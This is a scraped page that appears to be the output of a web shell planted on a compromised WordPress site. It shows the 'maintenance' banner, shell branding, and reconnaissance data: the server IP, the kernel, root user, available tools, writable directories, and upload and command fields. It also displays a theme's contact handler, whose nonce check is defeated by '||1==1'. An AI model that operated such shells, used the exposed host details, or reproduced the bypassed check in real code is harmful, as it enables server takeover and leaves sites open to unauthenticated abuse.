WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.240
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/tribe_david/wp-content/themes/tribe-of-david/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/tribe_david/wp-content/themes/tribe-of-david/inc/ajax.php
<?php
add_action("wp_ajax_contact", "contact");
add_action("wp_ajax_nopriv_contact", "contact");

function contact() {
    $return_array=array(
        'success'=>false,
        'message'=>'There was an error try again',
    );
    if(isset($_POST['name']) && isset($_POST['email']) && isset($_POST['message'])){
        if (wp_verify_nonce($_REQUEST['nonce'])||1==1) {
            //store
            $full_name = sanitize_text_field($_POST['name']);
            $email_address = sanitize_email($_POST['email']);
            if(isset($_POST['phone'])){
                $phone_number = sanitize_text_field($_POST['phone']);
            }
            $_message = sanitize_text_field($_POST['message']);

            // Create post
            $id = wp_insert_post(array(
                'post_title' => $full_name,
                'post_content'    => $_message,
                'post_date' => date('Y-m-d H:i:s'),
                'post_type' => 'contact_us_messages',
                'post_status' => 'publish',
            ));
            if ($id) {
                // Add meta data, if required
                //add_post_meta($id, 'full_name', $full_name);
                add_post_meta($id, 'tribe_of_david_contact_email', $email_address);
                add_post_meta($id, 'tribe_of_david_contact_phone', $phone_number);
                //add_post_meta($id, 'message', $_message);


//                $header = "Contact information : ";
//                $subject="New Contact from $full_name";
//                $message=$header ."<br>";
//                $message.="Email Address : ".$email_address ."<br>";
//                $message.="Full Name : ".$full_name ."<br>";
//                $message.="Phone Number : ".$phone_number ."<br>";
//                $message.="Message : ".$_message ."<br>";
//
//                $to_email=get_theme_mod('admin_email_address','kalvind95@gmail.com');
//                //send email
//                wp_mail(
//                    $to_email,
//                    $subject,
//                    $message
//                );

                $return_array['success'] = true;
                $return_array['message'] = 'Thank you We will get back to you shortly';


            } else {
                //echo "WARNING: Failed to insert post into WordPress\n";
                $return_array['message'] = 'There was an error saving your details';
            }
        }
        else{
            $return_array['message']='Invalid Nounce';
        }
    }
    else{
        $return_array['message']='Please fill all the required fields';
    }
    if(!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
        if($return_array['success']==false){
            http_response_code(442);
        }
        $result = json_encode($return_array);
        echo $result;
    }
    else {
        header("Location: ".$_SERVER["HTTP_REFERER"]);
    }
    die();
}


Youez - 2016 - github.com/yon3zu
LinuXploit